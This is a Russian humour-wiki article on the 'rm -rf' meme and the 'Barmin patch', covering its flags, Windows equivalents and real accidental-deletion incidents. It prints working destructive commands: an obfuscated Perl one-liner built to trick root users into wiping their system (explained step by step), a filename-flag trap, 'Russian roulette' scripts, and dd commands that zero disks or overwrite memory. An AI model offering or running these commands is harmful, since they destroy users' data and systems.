imported>Bugurt: Рабочая ссылка (архив)

2021-01-27T19:06:45Z

Рабочая ссылка (архив)

Новая страница

[[Файл:547.jpg|thumb|sudo rm -rf *]]
'''rm -rf''' — [[Линупс|линуксовая]] команда (если быть более точным, [[Unix]]'овая, однако в [[интернеты|интернетах]] больше ассоциируется с Линуксом).
Обычно употребляется в виде '''«rm -rf /*»''' (почему — см. ниже)

== Значение ==
* Сама команда '''rm''' — удалить (remove) (файл(ы) и/или каталог(и)).
* Ключ '''-r''' — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».
* Ключ '''-f''' — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным [[маздай|маздаевским]] назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение (и то, только потому, что почти всегда по умолчанию в .bashrc прописано alias rm='rm -i')). Некоторые побочные эффекты опции описаны в [[ман]]е.
* Традиции Unix позволяют в большинстве программ объединять ключи, то бишь '''«-rf»''' эквивалентно '''«-r -f»'''.
* Фактически ключ '''«-rf»''' по действию аналогичен фразе «[[Быстро, решительно|Всё и сразу!]]».

Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идёт о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру [[выстрелить себе в ногу]]: rm -rf / не работают. Хотя всё спокойно удаляется при использовании ключа '''«--no-preserve-root»'''. Кагбэ так: '''«rm -rf / --no-preserve-root»''' Kekeke.
Есть и другой вариант: '''rm -rf /*'''

[[FreeBSD]] понимает эту команду в несколько изменённом виде: '''rm -fr /''', а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.

[[Windows]] понимает эту команду как '''rmdir /s /q C:\''' или '''rd /s /q C:\''', где /s — аналог -r, а /q — аналог -f. При этом удаляется только содержимое диска C: из-за отличий в файловой системе: в мелкомягких ОС начиная с MS-[[DOS]] 1.0 рут не один, а до 26 разных, и одной «страшной» командой типа rmdir /s, deltree или format можно грохнуть только один диск за раз. В винде теоретически есть суперкорень «Мой компьютер», но этот каталог виртуальный, фиктивный и не существует в реальной файловой системе, поэтому «страшные команды» по нему не проходят как по негодному аргументу. Впрочем, есть и другой способ: установить [[:w:Cygwin|Cygwin]] и воспользоваться традиционной командой.

== Использование ==
[[Файл:Rm rf example.png|thumb|Пример использования]]

Использование команды двояко:
* В качестве травли линукс-[[нуб]]ов или тонкого намёка пойти нахуй; [http://archive.today/E2zng]
* В качестве травли [[ламер]]ов, которые работают в системе, в том числе сидят в интернетах, из-под [[рут]]а. Обычно в этом случае заветная строчка [[Программа из одной строчки на Perl|маскируется]] (ибо примитивный вариант проходит только с нубами):
<pre>echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' </pre>

Тем, кто не понял, расскажет [[Крыса-кун]]: порция <code>echo "test... test... test..."</code> на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли с заданным в кавычках текстом — в данном случае следующая строчка будет содержать «test… test… test…»
<pre>$ echo "test... test... test..."
test... test... test...
$</pre>
А вот что происходит в Perl'овом коде — совсем не очевидно из-за <del>того, что это язык [[вуду]]</del> преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:
<pre>
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
</pre>

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — <code>s;;=]=>%-{<-|}<&|`{;</code>. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на <code>=]=>%-{<-|}<&|`{</code> (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

<tt><pre><nowiki>
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
</nowiki></pre></tt>

В результате содержимое $_ принимает вид <code>system"rm -rf /"</code>.

Третья же команда дважды (как инструктирует флаг <code>ee</code>) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат замены [[всем похуй|уже не интересен]].
[http://forum.saransk.ru/index.php?s=&showtopic=8249&view=findpost&p=118653 Еще подробнее]

Есть еще один вариант, уже для нубов, считающих себя Ъ-линуксоидами:
<pre><nowiki>
mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /
</nowiki></pre>

Под Windows 9x данный патч был всё-таки портирован и принял вид
<code>deltree /y e: d: c:</code><br />
Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона на отдельных хардах/разделах (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только [[быстро, решительно|быстрый, решительный]] Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).

Также, вариант для новых <code>coreutils</code>:
<pre><nowiki>
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
</nowiki></pre>

=== rm -rf /usr и Bumblebee ===
Недавний пример [[Я случайно X|случайного]] использования мема случился летом 2011 года в проекте [[Трансформеры|Bumblebee]], представляющем собой [[костыль]] для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку с [[Очепятка|лишним пробелом]]:
<source lang="bash">
rm -rf /usr /lib/nvidia-current/xorg/xorg
</source>
Эта строка, как нетрудно заметить, удаляет директорию /usr, в которой в современных линуксах содержатся чуть менее, чем все библиотеки, бинарники, и всё остальное. Баг был быстро пойман и исправлен, что не помешало [https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6f1dafc8beb84f2ac багтрекеру проекта на github] стать на несколько дней филиалом [[форчан]]а, с [[макрос]]ами, [[My Little Pony|пони]] и [[Блэкджек и шлюхи|прочим]].

=== rmdir /s /q C:\ и Яндекс<nowiki>.</nowiki>Диск ===
В конце ноября — начале декабря 2013 г. счастливые пользователи [[Яндекс]]<nowiki>.</nowiki>Диска были обрадованы тем, что их ОС либо наотрез отказалась запускаться, либо запускалась, но без установленных программ. Как [http://habrahabr.ru/post/204580/ выяснилось], всему виной оказалось обновление Яндекс.Диска, которое отличилось широкой русской душой и вместо папки со старой версией «Диска» удаляло весь диск C:, на котором тот находился. Что характерно, проблема возникала прежде всего у пользователей, нарушивших заповедь «[[Не работай под рутом]]», вот только у многих считающих себя умнее системных архитекторов [[Windows]] юзверей это — нормальная ситуация. Особенно доставили объяснения менеджера Яндекса, призвавшего пользователей не удалять Яндекс.Диск, потому что патч Бармина скрывался именно в модуле деинсталляции. Спешите видеть — Яндекс взял в заложники ваш жесткий диск и хладнокровно убьет его, если вы попытаетесь удалить захватчика!

=== rm -rf my-company ===
Марко Марсала, который когда-то был хостинг-провайдером. Небольшим таким хостинг-провайдером с полутора тысячами пользователей. И он случайно запустил на всех серверах bash-скрипт, содержащий строчку <nowiki>rm -rf {foo}/{bar}</nowiki>. И всё бы ничего, но он забыл придать какие-нибудь значения переменным foo и bar… Когда Марко пришёл на айтишный форум спрашивать, как теперь можно починить всё взад, ему так и не удалось добиться внятного ответа, потому что форумные петросяны, вместо того, чтобы посочувствовать, наперебой спешили сообщить ему, что он смог одной строчкой кода [http://www.independent.co.uk/life-style/gadgets-and-tech/news/man-accidentally-deletes-his-entire-company-with-one-line-of-bad-code-a6984256.html удалить свою компанию].

== Патч Бармина ==
В около[[фидо]]шных кругах ''rm -rf'' часто называют ''патчем Бармина'' — в честь Владимира Бармина, UNIX-админа. Последний, в релкомовской группе новостей, на вопросы вида «как починить ''<…>'' в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от [[рут]]а».

На основе данного патча была разработана комбинация, получившая название Русской Рулетки.

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"

Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем [[:w:Закон о блогерах|свыше 3000 посещений в день]].
Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.

Версия Русской Рулетки под Windows:

set /a R=0+(6*%random%)/%random% & if !R! == 0 (rd /s /q .\) else (echo alive!)

Сей перл не заработает, если перед этим не включить расширенную обработку команд:

setlocal enabledelayedexpansion

А всё потому, что в этой вашей винде она по умолчанию выключена, а вытащить переменную в знаках «!» можно только при ней включенной. Nuff said.

=== Патч Бармина и корпорация Avaya ===
В 2013 году вышла версия системы статистики и управления Avaya Call Management System R17, которая наконец-то была портирована с этих ваших соларисов на Linux. В частности, там содержался скрипт cleanup, который по замыслу индусов должен был чистить мусор. В самом конце был такой код:

TMPLIST=`ls -1A /tmp | sed 's/^/tmp\//' | egrep -v "$EXCL_RM_MEDIA"`
cd /
# Remove files in /tmp that have not been accessed in 28 days
find $TMPLIST -xautofs -xdev -mtime +28 -exec rm -rf {} \; >/dev/null 2>&1

Забавный эффект обнаруживался, если директория /tmp была пустая. Корпорация объяснила это тем, что в solaris путь для find — обязателен, а в Linux — нет.

=== Патч Бармина живее всех живых ===
В конце января 2016 некий арчевод решил поиграться этим известным патчем перед тем как переразметить свой диск.
Он старательно вписал в команду даже специальный ключ, без которого этот патч не запускается… Ну… и… получил кирпич из своего MSI нетбука — после включения даже подсветка экрана не загоралась!

Как нетрудно догадаться патч вытер вместе с корнем еще и переменные UEFI в NVRAM, которые монтируются в /sys/firmware/efi/efivars/, но принципиально это не могло быть проблемой, потому как по стандарту UEFI должна проверять целостность данных в NVRAM, и в случае нарушения целостности она ОБЯЗАНА осуществить инициализацию NVRAM до состояния настроек по умолчанию/фабричных (Factory Default). Но вот в MSI решили подзабить на проверку целостности NVRAM, и незадачливый арчевод потащил свой <del>нетбук</del> кирпич в сервис.

После этой новости состоялся эпичненький наезд[https://github.com/systemd/systemd/issues/2402] на [[Леннарт Поттеринг|разработчиков]] systemd (а на них — грех не поругаться, они же сами постоянно подкидывают <del>подлянки</del> поводы для вполне обоснованной ругани в свой адрес): мол какого лешего, SystemD монтирует эти переменные с возможностью записи!? Давайте быстро переделывайте на монтирование в режиме только-чтение. На что был дан резонный ответ — доступ на запись нужен утилитам, и разрешена запись только руту, который при желании примонтирует эти переменные в режиме записи. Так что, это не защитит от <del>идиотов</del> <del>дураков</del> «умников», которые экспериментируют с патчем Бармина.

Самое же примечательное в этой истории то, что 20 лет назад отпущенная шутка, до сих пор стреляет, да еще с невиданной доселе мощью.

=== Пруфлинки ===
* [http://groups.google.com/group/relcom.fido.ru.unix/msg/055df10ee9eeb5f6?dmode=source&output=gplain Пост про rm -rf /, 23 февраля 1996]
* [http://groups.google.com/group/relcom.fido.ru.unix/msg/de9d36b15cf7664f Бармин о SCO, 3 октября 1996]
* [http://3apa3a-b-ta3e.livejournal.com/289534.html Копия письма выше и упоминание патча]
* [http://groups.google.com/group/relcom.fido.ru.unix/browse_thread/thread/3d8087a6dce4253d/c5a359aa955de7a1?lnk=st&q=rm#c5a359aa955de7a1 «Универсальное решение — rm», 16 октября 1996]
* [http://groups.google.com/group/relcom.talk/msg/a183d7e9d9d91f5c А. Лисовский подробно рассказывает о назначении патча, 02 февраля 1996]
* [http://groups.google.com/group/relcom.postmasters.d/browse_thread/thread/ad854c7919b461b2/11498cd775a622b0#11498cd775a622b0 Настоящий Владимир Бармин и его патч для шлимыла, 06 августа 1998]
* [http://groups.google.com/group/relcom.tcpip/msg/58c8a27cf35227b6 Порт патча под винду? конец 1997 года]
* [http://groups.google.com/group/ntu-kpi.comp.software/msg/d2a0d119784f0c1c Типичное использование, 2007 год]
* [http://www.linux.org.ru/view-message.jsp?msgid=392747 Просьба о помощи Perl-программисту на LOR'е]
* [https://downloads.avaya.com/css/P8/documents/100177034 PSN Avaya об удалении файлов]
* [http://www.opennet.ru/opennews/art.shtml?num=43795 О новой супер-силе патча на сиcтемах с UEFI]

== Алсо ==
Есть более кровожадный вариант sudo dd if=/dev/zero of=/dev/sda, который заполняет раздел носитель /dev/sda нулями, вероятность сохранения данных обратно пропорциональна времени реакции поциэнта (с момента нажатия на [Enter] до момента прерывания команды нервным нажатием Ctrl+C).

После этого уже в первую секунду даже на дешевом механическом 5400RPM HDD занулит 40 мегабайт вместе с таблицей разделов, загрузчиком и остальными метаданными файловой системы. И оно уже никогда не загрузится
без дополнительного геморроя.

Вообще довольно странно, что rm -rf победил dataset definition в массовом сознании. Ведь он гораздо более разрушителен и кошерен.

Можно например сделать адовый скример перенаправив весь жесткий диск в звуковую карту.

<pre> sudo dd if=/dev/hda of=/dev/dsp bs=8M </pre>

Или тупо забивать оперативную память случайными числами.

<pre> sudo dd if=/dev/urandom of=/dev/mem bs=8M </pre>

Жаль что там нет псевдоустройства для доступа к BIOS прошивке, тогда можно было бы окончательно решить вопрос с материнской платой красноглазика, если у него (U)EFI BIOS и то благодаря [[Леннарт Поттеринг|Поттерингу]]: [https://www.linux.org.ru/news/kernel/12318786]

== Ссылки ==
* [http://www.opennet.ru/man.shtml?topic=rm&category=1&russian=0 Ман на русском по команде «rm»]
* [http://web.archive.org/web/20130530052149/http://meegos.ru/forum/viewtopic.php?id=2946 Жертва команды]
* [http://web.archive.org/web/20110623080108/https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6 Это случается с лучшим из нас]
* [http://web.archive.org/web/20140303130907/http://forum.ubuntu.ru:80/index.php?topic=84741.0 Жертва dd if=/dev/zero of=/dev/sda]

== См. также ==
* [[Программа из одной строчки на Perl]]
* [[Alt+F4]]
* [[127.0.0.1]]
* [[Wishmaster]]
* [[Крякер инета]]
* [[Quit|/quit]]

{{Оси}}
{{Software}}

[[Категория:Люнекс]]
[[Категория:Матчасть]]

{{DISPLAYTITLE:rm -rf}}

Rm -rf - История изменений

imported>Bugurt: Рабочая ссылка (архив)